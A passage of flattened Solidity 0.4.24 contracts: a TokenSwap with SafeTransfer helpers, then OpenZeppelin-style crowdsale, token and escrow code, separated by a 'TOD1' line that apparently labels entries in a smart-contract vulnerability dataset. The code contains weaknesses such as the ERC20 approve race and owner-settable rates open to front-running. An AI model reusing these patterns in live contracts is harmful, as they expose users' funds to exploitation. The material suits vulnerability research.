destroyed by owner. All funds in contract will be sent to the owner. */ contract Destructible is Ownable { /** * @dev Transfers the current balance to the owner and terminates the contract. */ function destroy() public onlyOwner { selfdestruct(owner); } function destroyAndSend(address _recipient) public onlyOwner { selfdestruct(_recipient); } } // File: contracts/Interfaces/IWallet.sol pragma solidity ^0.4.24; /** * @title Wallet interface. * @dev The interface of the SC that own the assets. */ interface IWallet { function transferAssetTo( address _assetAddress, address _to, uint _amount ) external payable returns (bool); function withdrawAsset( address _assetAddress, uint _amount ) external returns (bool); function setTokenSwapAllowance ( address _tokenSwapAddress, bool _allowance ) external returns(bool); } // File: contracts/Utils/Pausable.sol pragma solidity ^0.4.24; /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused, "The contract is paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused, "The contract is not paused"); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } // File: contracts/Interfaces/IBadERC20.sol pragma solidity ^0.4.24; /** * @title Bad formed ERC20 token interface. * @dev The interface of the a bad formed ERC20 token. */ interface IBadERC20 { function transfer(address to, uint256 value) external; function approve(address spender, uint256 value) external; function transferFrom( address from, address to, uint256 value ) external; function totalSupply() external view returns (uint256); function balanceOf( address who ) external view returns (uint256); function allowance( address owner, address spender ) external view returns (uint256); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/Utils/SafeTransfer.sol pragma solidity ^0.4.24; /** * @title SafeTransfer * @dev Transfer Bad ERC20 tokens */ library SafeTransfer { /** * @dev Wrapping the ERC20 transferFrom function to avoid missing returns. * @param _tokenAddress The address of bad formed ERC20 token. * @param _from Transfer sender. * @param _to Transfer receiver. * @param _value Amount to be transfered. * @return Success of the safeTransferFrom. */ function _safeTransferFrom( address _tokenAddress, address _from, address _to, uint256 _value ) internal returns (bool result) { IBadERC20(_tokenAddress).transferFrom(_from, _to, _value); assembly { switch returndatasize() case 0 { // This is our BadToken result := not(0) // result is true } case 32 { // This is our GoodToken returndatacopy(0, 0, 32) result := mload(0) // result == returndata of external call } default { // This is not an ERC20 token revert(0, 0) } } } /** * @dev Wrapping the ERC20 transfer function to avoid missing returns. * @param _tokenAddress The address of bad formed ERC20 token. * @param _to Transfer receiver. * @param _amount Amount to be transfered. * @return Success of the safeTransfer. */ function _safeTransfer( address _tokenAddress, address _to, uint _amount ) internal returns (bool result) { IBadERC20(_tokenAddress).transfer(_to, _amount); assembly { switch returndatasize() case 0 { // This is our BadToken result := not(0) // result is true } case 32 { // This is our GoodToken returndatacopy(0, 0, 32) result := mload(0) // result == returndata of external call } default { // This is not an ERC20 token revert(0, 0) } } } function _safeApprove( address _token, address _spender, uint256 _value ) internal returns (bool result) { IBadERC20(_token).approve(_spender, _value); assembly { switch returndatasize() case 0 { // This is our BadToken result := not(0) // result is true } case 32 { // This is our GoodToken returndatacopy(0, 0, 32) result := mload(0) // result == returndata of external call } default { // This is not an ERC20 token revert(0, 0) } } } } // File: contracts/TokenSwap.sol pragma solidity ^0.4.24; /** * @title TokenSwap. * @author Eidoo SAGL. * @dev A swap asset contract. The offerAmount and wantAmount are collected and sent into the contract itself. */ contract TokenSwap is Pausable, Destructible { using SafeMath for uint; address public baseTokenAddress; address public quoteTokenAddress; address public wallet; uint public buyRate; uint public buyRateDecimals; uint public sellRate; uint public sellRateDecimals; event LogWithdrawToken( address indexed _from, address indexed _token, uint amount ); event LogSetWallet(address indexed _wallet); event LogSetBaseTokenAddress(address indexed _token); event LogSetQuoteTokenAddress(address indexed _token); event LogSetRateAndRateDecimals( uint _buyRate, uint _buyRateDecimals, uint _sellRate, uint _sellRateDecimals ); event LogSetNumberOfZeroesFromLastDigit( uint _numberOfZeroesFromLastDigit ); event LogTokenSwap( address indexed _userAddress, address indexed _userSentTokenAddress, uint _userSentTokenAmount, address indexed _userReceivedTokenAddress, uint _userReceivedTokenAmount ); /** * @dev Contract constructor. * @param _baseTokenAddress The base of the swap pair. * @param _quoteTokenAddress The quote of the swap pair. * @param _buyRate Purchase rate, how many baseToken for the given quoteToken. * @param _buyRateDecimals Define the decimals precision for the given asset. * @param _sellRate Purchase rate, how many quoteToken for the given baseToken. * @param _sellRateDecimals Define the decimals precision for the given asset. */ constructor( address _baseTokenAddress, address _quoteTokenAddress, address _wallet, uint _buyRate, uint _buyRateDecimals, uint _sellRate, uint _sellRateDecimals ) public { require(_wallet != address(0), "_wallet == address(0)"); baseTokenAddress = _baseTokenAddress; quoteTokenAddress = _quoteTokenAddress; wallet = _wallet; buyRate = _buyRate; buyRateDecimals = _buyRateDecimals; sellRate = _sellRate; sellRateDecimals = _sellRateDecimals; } function() external whenNotPaused payable { require(isETH(quoteTokenAddress), 'Cannot use fallback, the quote set is not ETH'); require(swapToken(quoteTokenAddress, msg.value), 'Swap failed'); } /** * @dev Set base token address. * @param _baseTokenAddress The pair base token address. * @return bool. */ function setBaseTokenAddress(address _baseTokenAddress) public onlyOwner returns (bool) { baseTokenAddress = _baseTokenAddress; emit LogSetBaseTokenAddress(_baseTokenAddress); return true; } /** * @dev Set quote token address. * @param _quoteTokenAddress The quote token address. * @return bool. */ function setQuoteTokenAddress(address _quoteTokenAddress) public onlyOwner returns (bool) { quoteTokenAddress = _quoteTokenAddress; emit LogSetQuoteTokenAddress(_quoteTokenAddress); return true; } /** * @dev Set wallet sc address. * @param _wallet The wallet sc address. * @return bool. */ function setWallet(address _wallet) public onlyOwner returns (bool) { require(_wallet != address(0), "_wallet == address(0)"); wallet = _wallet; emit LogSetWallet(_wallet); return true; } /** * @dev Set rate. * @param _buyRate Multiplier, how many base token for the quote token. * @param _buyRateDecimals Number of significan digits of the rate. * @param _sellRate Multiplier, how many quote token for the base token. * @param _sellRateDecimals Number of significan digits of the rate. * @return bool. */ function setRateAndRateDecimals( uint _buyRate, uint _buyRateDecimals, uint _sellRate, uint _sellRateDecimals ) public onlyOwner returns (bool) { require(_buyRate != buyRate, "_buyRate == buyRate"); require(_buyRate != 0, "_buyRate == 0"); require(_sellRate != sellRate, "_sellRate == sellRate"); require(_sellRate != 0, "_sellRate == 0"); buyRate = _buyRate; sellRate = _sellRate; buyRateDecimals = _buyRateDecimals; sellRateDecimals = _sellRateDecimals; emit LogSetRateAndRateDecimals( _buyRate, _buyRateDecimals, _sellRate, _sellRateDecimals ); return true; } /** * @dev Withdraw asset. * @param _tokenAddress Asset to be withdrawed. * @return bool. */ function withdrawToken(address _tokenAddress) public onlyOwner returns(bool) { uint tokenBalance; if (isETH(_tokenAddress)) { tokenBalance = address(this).balance; msg.sender.transfer(tokenBalance); } else { tokenBalance = ERC20(_tokenAddress).balanceOf(address(this)); require( SafeTransfer._safeTransfer(_tokenAddress, msg.sender, tokenBalance), "withdraw transfer failed" ); } emit LogWithdrawToken(msg.sender, _tokenAddress, tokenBalance); return true; } /** * @dev Understand if the user swap request is a BUY or a SELL. * @param _offerTokenAddress The token address the purchaser is offering (It may be the quote or the base). * @return bool. */ function isBuy(address _offerTokenAddress) public view returns (bool) { return _offerTokenAddress == quoteTokenAddress; } /** * @dev Understand if the token is ETH or not. * @param _tokenAddress The token address the purchaser is offering (It may be the quote or the base). * @return bool. */ function isETH(address _tokenAddress) public pure returns (bool) { return _tokenAddress == address(0); } /** * @dev Understand if the user swap request is for the available pair. * @param _offerTokenAddress The token address the purchaser is offering (It may be the quote or the base). * @return bool. */ function isOfferInPair(address _offerTokenAddress) public view returns (bool) { return _offerTokenAddress == quoteTokenAddress || _offerTokenAddress == baseTokenAddress; } /** * @dev Function to calculate the number of tokens the user is going to receive. * @param _offerTokenAmount The amount of tokne number of WEI to convert in ERC20. * @return uint. */ function getAmount( uint _offerTokenAmount, bool _isBuy ) public view returns(uint) { uint amount; if (_isBuy) { amount = _offerTokenAmount.mul(buyRate).div(10 ** buyRateDecimals); } else { amount = _offerTokenAmount.mul(sellRate).div(10 ** sellRateDecimals); } return amount; } /** * @dev Release purchased asset to the buyer based on pair rate. * @param _userOfferTokenAddress The token address the purchaser is offering (It may be the quote or the base). * @param _userOfferTokenAmount The amount of token the user want to swap. * @return bool. */ function swapToken ( address _userOfferTokenAddress, uint _userOfferTokenAmount ) public whenNotPaused payable returns (bool) { require(_userOfferTokenAmount != 0, "_userOfferTokenAmount == 0"); // check if offered token address is the base or the quote token address require( isOfferInPair(_userOfferTokenAddress), "_userOfferTokenAddress not in pair" ); // check if the msg.value is consistent when offered token address is eth if (isETH(_userOfferTokenAddress)) { require(_userOfferTokenAmount == msg.value, "msg.value != _userOfferTokenAmount"); } else { require(msg.value == 0, "msg.value != 0"); } bool isUserBuy = isBuy(_userOfferTokenAddress); uint toWalletAmount = _userOfferTokenAmount; uint toUserAmount = getAmount( _userOfferTokenAmount, isUserBuy ); require(toUserAmount > 0, "toUserAmount must be greater than 0"); if (isUserBuy) { // send the quote to wallet require( _transferAmounts( msg.sender, wallet, quoteTokenAddress, toWalletAmount ), "the transfer from of the quote the user to the TokenSwap SC failed" ); // send the base to user require( _transferAmounts( wallet, msg.sender, baseTokenAddress, toUserAmount ), "the transfer of the base from the TokenSwap SC to the user failed" ); emit LogTokenSwap( msg.sender, quoteTokenAddress, toWalletAmount, baseTokenAddress, toUserAmount ); } else { // send the base to wallet require( _transferAmounts( msg.sender, wallet, baseTokenAddress, toWalletAmount ), "the transfer of the base from the user to the TokenSwap SC failed" ); // send the quote to user require( _transferAmounts( wallet, msg.sender, quoteTokenAddress, toUserAmount ), "the transfer of the quote from the TokenSwap SC to the user failed" ); emit LogTokenSwap( msg.sender, baseTokenAddress, toWalletAmount, quoteTokenAddress, toUserAmount ); } return true; } /** * @dev Transfer amounts from user to this contract and vice versa. * @param _from The 'from' address. * @param _to The 'to' address. * @param _tokenAddress The asset to be transfer. * @param _amount The amount to be transfer. * @return bool. */ function _transferAmounts( address _from, address _to, address _tokenAddress, uint _amount ) private returns (bool) { if (isETH(_tokenAddress)) { if (_from == wallet) { require( IWallet(_from).transferAssetTo( _tokenAddress, _to, _amount ), "trasnsferAssetTo failed" ); } else { _to.transfer(_amount); } } else { if (_from == wallet) { require( IWallet(_from).transferAssetTo( _tokenAddress, _to, _amount ), "trasnsferAssetTo failed" ); } else { require( SafeTransfer._safeTransferFrom( _tokenAddress, _from, _to, _amount ), "transferFrom reserve to _receiver failed" ); } } return true; } }
TOD1
pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer( ERC20Basic _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } // File: openzeppelin-solidity/contracts/crowdsale/Crowdsale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overridden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropriate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; using SafeERC20 for ERC20; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use `super` in contracts that inherit from Crowdsale to extend their validations. * Example from CappedCrowdsale.sol's _preValidatePurchase method: * super._preValidatePurchase(_beneficiary, _weiAmount); * require(weiRaised.add(_weiAmount) <= cap); * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.safeTransfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: openzeppelin-solidity/contracts/crowdsale/emission/MintedCrowdsale.sol /** * @title MintedCrowdsale * @dev Extension of Crowdsale contract whose tokens are minted in each purchase. * Token ownership should be transferred to MintedCrowdsale for minting. */ contract MintedCrowdsale is Crowdsale { /** * @dev Overrides delivery by minting tokens upon purchase. * @param _beneficiary Token purchaser * @param _tokenAmount Number of tokens to be minted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { // Potentially dangerous assumption about the type of the token. require(MintableToken(address(token)).mint(_beneficiary, _tokenAmount)); } } // File: openzeppelin-solidity/contracts/payment/Escrow.sol /** * @title Escrow * @dev Base escrow contract, holds funds destinated to a payee until they * withdraw them. The contract that uses the escrow as its payment method * should be its owner, and provide public methods redirecting to the escrow's * deposit and withdraw. */ contract Escrow is Ownable { using SafeMath for uint256; event Deposited(address indexed payee, uint256 weiAmount); event Withdrawn(address indexed payee, uint256 weiAmount); mapping(address => uint256) private deposits; function depositsOf(address _payee) public view returns (uint256) { return deposits[_payee]; } /** * @dev Stores the sent amount as credit to be withdrawn. * @param _payee The destination address of the funds. */ function deposit(address _payee) public onlyOwner payable { uint256 amount = msg.value; deposits[_payee] = deposits[_payee].add(amount); emit Deposited(_payee, amount); } /** * @dev Withdraw accumulated balance for a payee. * @param _payee The address whose funds will be withdrawn and transferred to. */ function withdraw(address _payee) public onlyOwner { uint256 payment = deposits[_payee]; assert(address(this).balance >= payment); deposits[_payee] = 0; _payee.transfer(payment); emit Withdrawn(_payee, payment); } } // File: openzeppelin-solidity/contracts/payment/ConditionalEscrow.sol /** * @title ConditionalEscrow * @dev Base abstract escrow to only allow withdrawal if a condition is met. */ contract ConditionalEscrow is Escrow { /** * @dev Returns whether an address is allowed to withdraw their funds. To be * implemented by derived contracts. * @param _payee The destination address of the funds. */ function withdrawalAllowed(address _payee) public view returns (bool); function withdraw(address _payee) public { require(withdrawalAllowed(_payee)); super.withdraw(_payee); } } // File: openzeppelin-solidity/contracts/payment/RefundEscrow.sol /** * @title RefundEscrow * @dev Escrow that holds funds for a beneficiary, deposited from multiple parties. * The contract owner may close the deposit period, and allow for either withdrawal * by the beneficiary, or refunds to the depositors. */ contract RefundEscrow is Ownable, ConditionalEscrow { enum State { Active, Refunding, Closed } event Closed(); event RefundsEnabled(); State public state; address public beneficiary; /** * @dev Constructor. * @param _beneficiary The beneficiary of the deposits. */ constructor(address _beneficiary) public { require(_beneficiary != address(0)); beneficiary = _beneficiary; state = State.Active; } /** * @dev Stores funds that may later be refunded. * @param _refundee The address funds will be sent to if a refund occurs. */ function deposit(address _refundee) public payable { require(state == State.Active); super.deposit(_refundee); } /** * @dev Allows for the beneficiary to withdraw their funds, rejecting * further deposits. */ function close() public onlyOwner { require(state == State.Active); state = State.Closed; emit Closed(); } /** * @dev Allows for refunds to take place, rejecting further deposits. */ function enableRefunds() public onlyOwner { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } /** * @dev Withdraws the beneficiary's funds. */ function beneficiaryWithdraw() public { require(state == State.Closed); beneficiary.transfer(address(this).balance); } /** * @dev Returns whether refundees can withdraw their deposits (be refunded). */ function withdrawalAllowed(address _payee) public view returns (bool) { return state == State.Refunding; } } // File: openzeppelin-solidity/contracts/crowdsale/validation/TimedCrowdsale.sol /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { // solium-disable-next-line security/no-block-members require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ constructor(uint256 _openingTime, uint256 _closingTime) public { // solium-disable-next-line security/no-block-members require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solium-disable-next-line security/no-block-members return block.timestamp > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } // File: openzeppelin-solidity/contracts/crowdsale/validation/CappedCrowdsale.sol /** * @title CappedCrowdsale * @dev Crowdsale with a limit for total contributions. */ contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; /** * @dev Constructor, takes maximum amount of wei accepted in the crowdsale. * @param _cap Max amount of wei to be contributed */ constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return weiRaised >= cap; } /** * @dev Extend parent behavior requiring purchase to respect the funding cap. * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } // File: contracts/helpers/FinalizableCrowdsale.sol /** * @title FinalizableCrowdsale * @dev Extension of Crowdsale where an owner can do extra work * after finishing. */ contract FinalizableCrowdsale is Ownable, TimedCrowdsale, CappedCrowdsale { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() public onlyOwner { require(!isFinalized); require(hasClosed() || capReached()); crowdsaleClose(); finalization(); emit Finalized(); isFinalized = true; } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function crowdsaleClose() internal { } } // File: contracts/helpers/RefundableCrowdsale.sol /** * @title RefundableCrowdsale * @dev Extension of Crowdsale contract that adds a funding goal, and * the possibility of users getting a refund if goal is not met. */ contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; // minimum amount of funds to be raised in weis uint256 public goal; // refund escrow used to hold funds while crowdsale is running RefundEscrow private escrow; /** * @dev Constructor, creates RefundEscrow. * @param _goal Funding goal */ constructor(uint256 _goal) public { require(_goal > 0); escrow = new RefundEscrow(wallet); goal = _goal; } /** * @dev Investors can claim refunds here if crowdsale is unsuccessful */ function claimRefund() public { require(isFinalized); require(!goalReached()); escrow.withdraw(msg.sender); } /** * @dev Checks whether funding goal was reached. * @return Whether funding goal was reached */ function goalReached() public view returns (bool) { return weiRaised >= goal; } /** * @dev escrow finalization task, called when owner calls finalize() */ function finalization() internal { if (goalReached()) { escrow.close(); escrow.beneficiaryWithdraw(); } else { escrow.enableRefunds(); } super.finalization(); } /** * @dev Overrides Crowdsale fund forwarding, sending funds to escrow. */ function _forwardFunds() internal { 